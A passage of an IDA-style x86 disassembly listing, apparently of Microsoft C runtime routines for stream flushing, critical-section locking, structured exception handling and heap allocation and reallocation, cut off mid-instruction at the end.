[eax+10h] push ecx call sub_431130 add esp, 4 neg eax sbb eax, eax jmp short loc_422F0F ; --------------------------------------------------------------------------- loc_422F0D: ; CODE XREF: sub_422ED0+26j xor eax, eax loc_422F0F: ; CODE XREF: sub_422ED0+16j ; sub_422ED0+3Bj pop ebp retn sub_422ED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F20 proc near ; CODE XREF: sub_41BD80+53p ; sub_421050+A2p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 3 cmp edx, 2 jnz short loc_422FBB mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 108h test ecx, ecx jz short loc_422FBB mov edx, [ebp+var_8] mov eax, [ebp+var_8] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jle short loc_422FBB mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] mov ecx, [eax+8] push ecx mov edx, [ebp+var_8] mov eax, [edx+10h] push eax call sub_42E940 add esp, 0Ch cmp eax, [ebp+var_C] jnz short loc_422FA5 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_422FA3 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFDh mov edx, [ebp+var_8] mov [edx+0Ch], ecx loc_422FA3: ; CODE XREF: sub_422F20+72j jmp short loc_422FBB ; --------------------------------------------------------------------------- loc_422FA5: ; CODE XREF: sub_422F20+62j mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx mov [ebp+var_4], 0FFFFFFFFh loc_422FBB: ; CODE XREF: sub_422F20+1Fj ; sub_422F20+2Fj ... mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_8] mov dword ptr [eax+4], 0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_422F20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FE0 proc near ; CODE XREF: sub_422400+3p push ebp mov ebp, esp push 1 call sub_422FF0 add esp, 4 pop ebp retn sub_422FE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FF0 proc near ; CODE XREF: _0:00422E8Cp ; sub_422FE0+5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov [ebp+var_8], 0 push 2 call sub_423280 add esp, 4 mov [ebp+var_C], 0 jmp short loc_423020 ; --------------------------------------------------------------------------- loc_423017: ; CODE XREF: sub_422FF0:loc_42310Ej mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_423020: ; CODE XREF: sub_422FF0+25j mov ecx, [ebp+var_C] cmp ecx, ds:dword_4F4A20 jge loc_423113 mov edx, [ebp+var_C] mov eax, ds:dword_4F3A14 cmp dword ptr [eax+edx*4], 0 jz loc_42310E mov ecx, [ebp+var_C] mov edx, ds:dword_4F3A14 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz loc_42310E mov edx, [ebp+var_C] mov eax, ds:dword_4F3A14 mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_C] push edx call sub_422460 add esp, 8 mov eax, [ebp+var_C] mov ecx, ds:dword_4F3A14 mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_4230F5 cmp [ebp+arg_0], 1 jnz short loc_4230B9 mov ecx, [ebp+var_C] mov edx, ds:dword_4F3A14 mov eax, [edx+ecx*4] push eax call sub_422ED0 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_4230B7 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4230B7: ; CODE XREF: sub_422FF0+BCj jmp short loc_4230F5 ; --------------------------------------------------------------------------- loc_4230B9: ; CODE XREF: sub_422FF0+A2j cmp [ebp+arg_0], 0 jnz short loc_4230F5 mov edx, [ebp+var_C] mov eax, ds:dword_4F3A14 mov ecx, [eax+edx*4] mov edx, [ecx+0Ch] and edx, 2 test edx, edx jz short loc_4230F5 mov eax, [ebp+var_C] mov ecx, ds:dword_4F3A14 mov edx, [ecx+eax*4] push edx call sub_422ED0 add esp, 4 cmp eax, 0FFFFFFFFh jnz short loc_4230F5 mov [ebp+var_8], 0FFFFFFFFh loc_4230F5: ; CODE XREF: sub_422FF0+9Cj ; sub_422FF0:loc_4230B7j ... mov eax, [ebp+var_C] mov ecx, ds:dword_4F3A14 mov edx, [ecx+eax*4] push edx mov eax, [ebp+var_C] push eax call sub_4224D0 add esp, 8 loc_42310E: ; CODE XREF: sub_422FF0+4Bj ; sub_422FF0+68j jmp loc_423017 ; --------------------------------------------------------------------------- loc_423113: ; CODE XREF: sub_422FF0+39j push 2 call sub_423320 add esp, 4 cmp [ebp+arg_0], 1 jnz short loc_423128 mov eax, [ebp+var_4] jmp short loc_42312B ; --------------------------------------------------------------------------- loc_423128: ; CODE XREF: sub_422FF0+131j mov eax, [ebp+var_8] loc_42312B: ; CODE XREF: sub_422FF0+136j mov esp, ebp pop ebp retn sub_422FF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 9 call sub_423280 add esp, 4 mov eax, ds:dword_4F3378 mov [ebp-4], eax mov ecx, [ebp+8] mov ds:dword_4F3378, ecx push 9 call sub_423320 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, ds:dword_4F3378 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423170 proc near ; CODE XREF: sub_41BEC0+7Dp ; sub_423460+41p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, ds:dword_4F3378 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_423190 mov ecx, [ebp+arg_0] push ecx call [ebp+var_4] add esp, 4 test eax, eax jnz short loc_423194 loc_423190: ; CODE XREF: sub_423170+10j xor eax, eax jmp short loc_423199 ; --------------------------------------------------------------------------- loc_423194: ; CODE XREF: sub_423170+1Ej mov eax, 1 loc_423199: ; CODE XREF: sub_423170+22j mov esp, ebp pop ebp retn sub_423170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4231A0 proc near ; CODE XREF: sub_428E00+4p push ebp mov ebp, esp mov eax, ds:off_451B34 push eax call ds:dword_4F54A4 ; InitializeCriticalSection mov ecx, ds:off_451B24 push ecx call ds:dword_4F54A4 ; InitializeCriticalSection mov edx, ds:off_451B14 push edx call ds:dword_4F54A4 ; InitializeCriticalSection mov eax, ds:off_451AF4 push eax call ds:dword_4F54A4 ; InitializeCriticalSection pop ebp retn sub_4231A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4231E0 proc near ; CODE XREF: _0:00428E93p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_4231F6 ; --------------------------------------------------------------------------- loc_4231ED: ; CODE XREF: sub_4231E0:loc_423247j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4231F6: ; CODE XREF: sub_4231E0+Bj cmp [ebp+var_4], 30h jge short loc_423249 mov ecx, [ebp+var_4] cmp ds:dword_451AF0[ecx*4], 0 jz short loc_423247 cmp [ebp+var_4], 11h jz short loc_423247 cmp [ebp+var_4], 0Dh jz short loc_423247 cmp [ebp+var_4], 9 jz short loc_423247 cmp [ebp+var_4], 1 jz short loc_423247 mov edx, [ebp+var_4] mov eax, ds:dword_451AF0[edx*4] push eax call ds:dword_4F53B0 ; RtlDeleteCriticalSection push 2 mov ecx, [ebp+var_4] mov edx, ds:dword_451AF0[ecx*4] push edx call sub_41CA10 add esp, 8 loc_423247: ; CODE XREF: sub_4231E0+27j ; sub_4231E0+2Dj ... jmp short loc_4231ED ; --------------------------------------------------------------------------- loc_423249: ; CODE XREF: sub_4231E0+1Aj mov eax, ds:off_451B14 push eax call ds:dword_4F53B0 ; RtlDeleteCriticalSection mov ecx, ds:off_451B24 push ecx call ds:dword_4F53B0 ; RtlDeleteCriticalSection mov edx, ds:off_451B34 push edx call ds:dword_4F53B0 ; RtlDeleteCriticalSection mov eax, ds:off_451AF4 push eax call ds:dword_4F53B0 ; RtlDeleteCriticalSection mov esp, ebp pop ebp retn sub_4231E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423280 proc near ; CODE XREF: sub_41BEC0+25p ; sub_41C360+25p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ds:dword_451AF0[eax*4], 0 jnz short loc_423302 push 0E1h push offset aMlock_c ; "mlock.c" push 2 push 18h call sub_41BE70 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4232BA push 11h call sub_422270 add esp, 4 loc_4232BA: ; CODE XREF: sub_423280+2Ej push 11h call sub_423280 add esp, 4 mov ecx, [ebp+arg_0] cmp ds:dword_451AF0[ecx*4], 0 jnz short loc_4232EA mov edx, [ebp+var_4] push edx call ds:dword_4F54A4 ; InitializeCriticalSection mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov ds:dword_451AF0[eax*4], ecx jmp short loc_4232F8 ; --------------------------------------------------------------------------- loc_4232EA: ; CODE XREF: sub_423280+4Fj push 2 mov edx, [ebp+var_4] push edx call sub_41CA10 add esp, 8 loc_4232F8: ; CODE XREF: sub_423280+68j push 11h call sub_423320 add esp, 4 loc_423302: ; CODE XREF: sub_423280+Fj mov eax, [ebp+arg_0] mov ecx, ds:dword_451AF0[eax*4] push ecx call ds:dword_4F53A8 ; RtlEnterCriticalSection mov esp, ebp pop ebp retn sub_423280 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423320 proc near ; CODE XREF: sub_41BF1D+2p ; sub_41C3C3+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, ds:dword_451AF0[eax*4] push ecx call ds:dword_4F53A4 ; RtlLeaveCriticalSection pop ebp retn sub_423320 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax push 0 call ds:dword_4F54A8 ; FatalAppExitA push 0FFh call ds:off_4F5338 pop ebp retn ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423364 proc near ; DATA XREF: sub_41BEC0+Ao ; sub_41C360+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423404 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_423397: ; CODE XREF: sub_423364+90j cmp esi, 0FFFFFFFFh jz short loc_4233FD lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_4233EB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_4233EB js short loc_4233F6 mov edi, [ebx+8] push ebx call sub_420730 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_420772 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_420806 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_4233EB: ; CODE XREF: sub_423364+40j ; sub_423364+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_423397 ; --------------------------------------------------------------------------- loc_4233F6: ; CODE XREF: sub_423364+54j mov eax, 0 jmp short loc_423419 ; --------------------------------------------------------------------------- loc_4233FD: ; CODE XREF: sub_423364+36j mov eax, 1 jmp short loc_423419 ; --------------------------------------------------------------------------- loc_423404: ; CODE XREF: sub_423364+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_420772 add esp, 8 pop ebp mov eax, 1 loc_423419: ; CODE XREF: sub_423364+97j ; sub_423364+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423364 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_420772 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423440 proc near ; CODE XREF: sub_423830+33p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, ds:dword_4F3374 push eax mov ecx, [ebp+arg_0] push ecx call sub_423460 add esp, 8 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_423440 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423460 proc near ; CODE XREF: sub_423440+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFE0h jbe short loc_42346E xor eax, eax jmp short loc_4234B3 ; --------------------------------------------------------------------------- loc_42346E: ; CODE XREF: sub_423460+8j ; sub_423460:loc_4234B1j cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_423485 mov eax, [ebp+arg_0] push eax call sub_4234C0 add esp, 4 mov [ebp+var_4], eax jmp short loc_42348C ; --------------------------------------------------------------------------- loc_423485: ; CODE XREF: sub_423460+12j mov [ebp+var_4], 0 loc_42348C: ; CODE XREF: sub_423460+23j cmp [ebp+var_4], 0 jnz short loc_423498 cmp [ebp+arg_4], 0 jnz short loc_42349D loc_423498: ; CODE XREF: sub_423460+30j mov eax, [ebp+var_4] jmp short loc_4234B3 ; --------------------------------------------------------------------------- loc_42349D: ; CODE XREF: sub_423460+36j mov ecx, [ebp+arg_0] push ecx call sub_423170 add esp, 4 test eax, eax jnz short loc_4234B1 xor eax, eax jmp short loc_4234B3 ; --------------------------------------------------------------------------- loc_4234B1: ; CODE XREF: sub_423460+4Bj jmp short loc_42346E ; --------------------------------------------------------------------------- loc_4234B3: ; CODE XREF: sub_423460+Cj ; sub_423460+3Bj ... mov esp, ebp pop ebp retn sub_423460 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234C0 proc near ; CODE XREF: sub_41BF80+19Dp ; sub_423460+18p var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00423530 SIZE 00000077 BYTES ; FUNCTION CHUNK AT 004235B2 SIZE 0000005B BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D048 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi cmp ds:dword_4F39EC, 3 jnz short loc_423543 mov eax, [ebp+arg_0] cmp eax, ds:dword_4F3A0C ja short loc_42353E push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx call sub_424790 add esp, 4 mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_423525 jmp short loc_423530 sub_4234C0 endp ; =============== S U B R O U T I N E ======================================= sub_423525 proc near ; CODE XREF: sub_4234C0+5Ep ; DATA XREF: _1:0043D050o push 9 call sub_423320 add esp, 4 retn sub_423525 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4234C0 loc_423530: ; CODE XREF: sub_4234C0+63j cmp [ebp+var_1C], 0 jz short loc_42353E mov eax, [ebp+var_1C] jmp loc_4235FC ; --------------------------------------------------------------------------- loc_42353E: ; CODE XREF: sub_4234C0+35j ; sub_4234C0+74j jmp loc_4235D1 ; --------------------------------------------------------------------------- loc_423543: ; CODE XREF: sub_4234C0+2Aj cmp ds:dword_4F39EC, 2 jnz loc_4235D1 cmp [ebp+arg_0], 0 jz short loc_423564 mov edx, [ebp+arg_0] add edx, 0Fh and edx, 0FFFFFFF0h mov [ebp+arg_0], edx jmp short loc_42356B ; --------------------------------------------------------------------------- loc_423564: ; CODE XREF: sub_4234C0+94j mov [ebp+arg_0], 10h loc_42356B: ; CODE XREF: sub_4234C0+A2j mov eax, [ebp+arg_0] cmp eax, ds:dword_453BDC ja short loc_4235BD push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 1 mov ecx, [ebp+arg_0] shr ecx, 4 push ecx call sub_426210 add esp, 4 mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_4235A7 jmp short loc_4235B2 ; END OF FUNCTION CHUNK FOR sub_4234C0 ; =============== S U B R O U T I N E ======================================= sub_4235A7 proc near ; CODE XREF: sub_4234C0+E0p ; DATA XREF: _1:0043D05Co push 9 call sub_423320 add esp, 4 retn sub_4235A7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4234C0 loc_4235B2: ; CODE XREF: sub_4234C0+E5j cmp [ebp+var_1C], 0 jz short loc_4235BD mov eax, [ebp+var_1C] jmp short loc_4235FC ; --------------------------------------------------------------------------- loc_4235BD: ; CODE XREF: sub_4234C0+B4j ; sub_4234C0+F6j mov edx, [ebp+arg_0] push edx push 0 mov eax, ds:dword_4F39E8 push eax call ds:dword_4F5418 ; RtlAllocateHeap jmp short loc_4235FC ; --------------------------------------------------------------------------- loc_4235D1: ; CODE XREF: sub_4234C0:loc_42353Ej ; sub_4234C0+8Aj cmp [ebp+arg_0], 0 jnz short loc_4235DE mov [ebp+arg_0], 1 loc_4235DE: ; CODE XREF: sub_4234C0+115j mov ecx, [ebp+arg_0] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_0], ecx mov edx, [ebp+arg_0] push edx push 0 mov eax, ds:dword_4F39E8 push eax call ds:dword_4F5418 ; RtlAllocateHeap loc_4235FC: ; CODE XREF: sub_4234C0+79j ; sub_4234C0+FBj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4234C0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423610 proc near ; CODE XREF: sub_41BF80+79p ; sub_41C3F0+C1p ... push ebp mov ebp, esp mov eax, 1 pop ebp retn sub_423610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423620 proc near ; CODE XREF: sub_41C3F0+2D4p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004236CC SIZE 000000EE BYTES ; FUNCTION CHUNK AT 004237C5 SIZE 00000068 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D060 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi cmp [ebp+arg_4], 0FFFFFFE0h jbe short loc_423650 xor eax, eax jmp loc_42381C ; --------------------------------------------------------------------------- loc_423650: ; CODE XREF: sub_423620+27j cmp ds:dword_4F39EC, 3 jnz loc_423708 push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_4240F0 add esp, 4 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4236B3 mov [ebp+var_1C], 0 mov ecx, [ebp+arg_4] cmp ecx, ds:dword_4F3A0C ja short loc_4236B3 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_20] push ecx call sub_424FD0 add esp, 0Ch test eax, eax jz short loc_4236B3 mov edx, [ebp+arg_0] mov [ebp+var_1C], edx loc_4236B3: ; CODE XREF: sub_423620+61j ; sub_423620+73j ... mov [ebp+var_4], 0FFFFFFFFh call sub_4236C1 jmp short loc_4236CC sub_423620 endp ; =============== S U B R O U T I N E ======================================= sub_4236C1 proc near ; CODE XREF: sub_423620+9Ap ; DATA XREF: _1:0043D068o push 9 call sub_423320 add esp, 4 retn sub_4236C1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423620 loc_4236CC: ; CODE XREF: sub_423620+9Fj cmp [ebp+var_20], 0 jnz short loc_423703 cmp [ebp+arg_4], 0 jnz short loc_4236DF mov [ebp+arg_4], 1 loc_4236DF: ; CODE XREF: sub_423620+B6j mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, ds:dword_4F39E8 push eax call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_423703: ; CODE XREF: sub_423620+B0j jmp loc_423819 ; --------------------------------------------------------------------------- loc_423708: ; CODE XREF: sub_423620+37j cmp ds:dword_4F39EC, 2 jnz loc_4237E6 cmp [ebp+arg_4], 0 jnz short loc_423722 mov [ebp+arg_4], 1 loc_423722: ; CODE XREF: sub_423620+F9j mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 1 lea edx, [ebp+var_24] push edx lea eax, [ebp+var_2C] push eax mov ecx, [ebp+arg_0] push ecx call sub_426110 add esp, 0Ch mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_4237AC mov [ebp+var_1C], 0 mov edx, [ebp+arg_4] cmp edx, ds:dword_453BDC ja short loc_423793 mov eax, [ebp+arg_4] shr eax, 4 push eax mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_2C] push eax call sub_426880 add esp, 10h test eax, eax jz short loc_423793 mov ecx, [ebp+arg_0] mov [ebp+var_1C], ecx loc_423793: ; CODE XREF: sub_423620+14Cj ; sub_423620+16Bj push 0FFFFFFFFh mov edx, [ebp+var_1C] mov [ebp+var_30], edx lea eax, [ebp+var_10] push eax call sub_420772 add esp, 8 mov eax, [ebp+var_30] jmp short loc_42381C ; --------------------------------------------------------------------------- loc_4237AC: ; CODE XREF: sub_423620+13Aj mov [ebp+var_4], 0FFFFFFFFh call sub_4237BA jmp short loc_4237C5 ; END OF FUNCTION CHUNK FOR sub_423620 ; =============== S U B R O U T I N E ======================================= sub_4237BA proc near ; CODE XREF: sub_423620+193p ; DATA XREF: _1:0043D074o push 9 call sub_423320 add esp, 4 retn sub_4237BA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423620 loc_4237C5: ; CODE XREF: sub_423620+198j cmp [ebp+var_28], 0 jnz short loc_4237E4 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, ds:dword_4F39E8 push eax call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_4237E4: ; CODE XREF: sub_423620+1A9j jmp short loc_423819 ; --------------------------------------------------------------------------- loc_4237E6: ; CODE XREF: sub_423620+EFj cmp [ebp+arg_4], 0 jnz short loc_4237F3 mov [ebp+arg_4], 1 loc_4237F3: ; CODE XREF: sub_423620+1CAj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 10h mov ecx, ds:dword_4F39E8 push ecx call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_423819: ; CODE XREF: sub_423620:loc_423703j ; sub_423620:loc_4237E4j mov eax, [ebp+var_1C] loc_42381C: ; CODE XREF: sub_423620+2Bj ; sub_423620+18Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423620 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423830 proc near ; CODE XREF: sub_41C3F0+2AFp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00423A03 SIZE 0000020C BYTES ; FUNCTION CHUNK AT 00423C1A SIZE 000000A9 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D078 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_1C], eax cmp [ebp+arg_0], 0 jnz short loc_423870 mov ecx, [ebp+arg_4] push ecx call sub_423440 add esp, 4 jmp loc_423CB2 ; --------------------------------------------------------------------------- loc_423870: ; CODE XREF: sub_423830+2Dj cmp [ebp+arg_4], 0 jnz short loc_423889 mov edx, [ebp+arg_0] push edx call sub_423CD0 add esp, 4 xor eax, eax jmp loc_423CB2 ; --------------------------------------------------------------------------- loc_423889: ; CODE XREF: sub_423830+44j cmp ds:dword_4F39EC, 3 jnz loc_423A6F loc_423896: ; CODE XREF: sub_423830:loc_423A6Aj mov [ebp+var_24], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_423A3C push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_4240F0 add esp, 4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_4239EA mov ecx, [ebp+arg_4] cmp ecx, ds:dword_4F3A0C ja loc_42396A mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_28] push ecx call sub_424FD0 add esp, 0Ch test eax, eax jz short loc_423900 mov edx, [ebp+arg_0] mov [ebp+var_24], edx jmp short loc_42396A ; --------------------------------------------------------------------------- loc_423900: ; CODE XREF: sub_423830+C6j mov eax, [ebp+arg_4] push eax call sub_424790 add esp, 4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_42396A mov ecx, [ebp+arg_0] mov edx, [ecx-4] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_20] cmp eax, [ebp+arg_4] jnb short loc_423931 mov ecx, [ebp+var_20] mov [ebp+var_3C], ecx jmp short loc_423937 ; --------------------------------------------------------------------------- loc_423931: ; CODE XREF: sub_423830+F7j mov edx, [ebp+arg_4] mov [ebp+var_3C], edx loc_423937: ; CODE XREF: sub_423830+FFj mov eax, [ebp+var_3C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_24] push edx call sub_41FBF0 add esp, 0Ch mov eax, [ebp+arg_0] push eax call sub_4240F0 add esp, 4 mov [ebp+var_28], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_28] push edx call sub_4241B0 add esp, 8 loc_42396A: ; CODE XREF: sub_423830+AAj ; sub_423830+CEj ... cmp [ebp+var_24], 0 jnz short loc_4239EA cmp [ebp+arg_4], 0 jnz short loc_42397D mov [ebp+arg_4], 1 loc_42397D: ; CODE XREF: sub_423830+144j mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx push 0 mov edx, ds:dword_4F39E8 push edx call ds:dword_4F5418 ; RtlAllocateHeap mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4239EA mov eax, [ebp+arg_0] mov ecx, [eax-4] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+var_20] cmp edx, [ebp+arg_4] jnb short loc_4239C0 mov eax, [ebp+var_20] mov [ebp+var_40], eax jmp short loc_4239C6 ; --------------------------------------------------------------------------- loc_4239C0: ; CODE XREF: sub_423830+186j mov ecx, [ebp+arg_4] mov [ebp+var_40], ecx loc_4239C6: ; CODE XREF: sub_423830+18Ej mov edx, [ebp+var_40] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_24] push ecx call sub_41FBF0 add esp, 0Ch mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_28] push eax call sub_4241B0 add esp, 8 loc_4239EA: ; CODE XREF: sub_423830+9Bj ; sub_423830+13Ej ... mov [ebp+var_4], 0FFFFFFFFh call 